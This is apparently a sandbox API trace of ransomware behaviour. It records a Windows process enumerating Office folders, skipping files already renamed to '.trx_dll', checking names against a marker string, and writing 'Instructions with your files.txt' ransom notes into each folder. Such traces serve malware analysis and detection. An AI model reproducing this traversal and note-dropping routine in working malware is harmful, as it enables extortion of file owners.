[0131.860] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="PUB6IN~1.TRX")) returned 1
[0131.860] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll") returned 76
[0131.860] StrStrIW (lpFirst="PUB6INTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.860] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x57655500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57655500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x87f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="PUB6IN~2.TRX")) returned 1
[0131.860] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll") returned 77
[0131.861] StrStrIW (lpFirst="PUB6INTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.861] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2720b500, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2720b500, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x57f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="PUBWZI~1.TRX")) returned 1
[0131.861] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll") returned 77
[0131.861] StrStrIW (lpFirst="PUBWZINT.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.861] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x94d0df00, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x94d0df00, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="SGRESD~1.TRX")) returned 1
[0131.861] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll") returned 73
[0131.861] StrStrIW (lpFirst="SGRES.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.861] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca190500, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xca190500, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="STINTL~1.TRX")) returned 1
[0131.861] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll") returned 74
[0131.861] StrStrIW (lpFirst="STINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.861] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="VISBRR~1.TRX")) returned 1
[0131.861] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll") returned 76
[0131.861] StrStrIW (lpFirst="VISBRRES.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.861] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x70273800, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x70273800, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x73960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="VISINT~1.TRX")) returned 1
[0131.861] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll") returned 75
[0131.861] StrStrIW (lpFirst="VISINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.861] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1789a00, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa1789a00, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x24360, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="WWINTL~1.TRX")) returned 1
[0131.861] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll") returned 74
[0131.861] StrStrIW (lpFirst="WWINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.861] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2a9c700, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa2a9c700, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x110b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="WWINTL~2.TRX")) returned 1
[0131.861] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll") returned 75
[0131.861] StrStrIW (lpFirst="WWINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.861] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x23960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="XLINTL~1.TRX")) returned 1
[0131.861] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll") returned 76
[0131.861] StrStrIW (lpFirst="XLINTL32.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.861] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x126760, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="XLINTL~2.TRX")) returned 1
[0131.861] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll") returned 77
[0131.861] StrStrIW (lpFirst="XLINTL32.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.861] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 1
[0131.861] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll") returned 76
[0131.861] StrStrIW (lpFirst="XLSLICER.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0131.861] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 0
[0131.862] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Instructions with your files.txt") returned 88
[0131.862] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.862] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.863] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.863] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.863] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.863] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.863] CloseHandle (hObject=0x118) returned 1
[0131.863] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.863] GetProcessHeap () returned 0x810000
[0131.863] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.863] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2165b80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.863] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Instructions with your files.txt") returned 83
[0131.863] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.863] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2165b80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.863] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Instructions with your files.txt") returned 83
[0131.863] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.864] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.864] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.864] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.864] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.865] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.865] CloseHandle (hObject=0x114) returned 1
[0131.865] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.865] GetProcessHeap () returned 0x810000
[0131.865] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.865] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 0
[0131.865] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\Instructions with your files.txt") returned 72
[0131.865] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.865] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.866] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.866] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.866] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.866] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.866] CloseHandle (hObject=0x110) returned 1
[0131.866] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.866] GetProcessHeap () returned 0x810000
[0131.866] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.866] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb218bce0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb218bce0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
[0131.867] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned 65
[0131.867] GetProcessHeap () returned 0x810000
[0131.867] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.867] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned 67
[0131.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb218bce0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb218bce0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.867] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\.") returned 67
[0131.867] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb218bce0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb218bce0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.867] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\..") returned 68
[0131.867] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
[0131.867] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned 71
[0131.867] GetProcessHeap () returned 0x810000
[0131.867] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.867] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*") returned 73
[0131.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.867] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\.") returned 73
[0131.867] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb2165b80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2165b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.867] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\..") returned 74
[0131.867] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40270, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache.dat", cAlternateFileName="")) returned 1
[0131.867] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat") returned 81
[0131.867] StrStrIW (lpFirst="cache.dat", lpSrch="SDfghjkl") returned 0x0
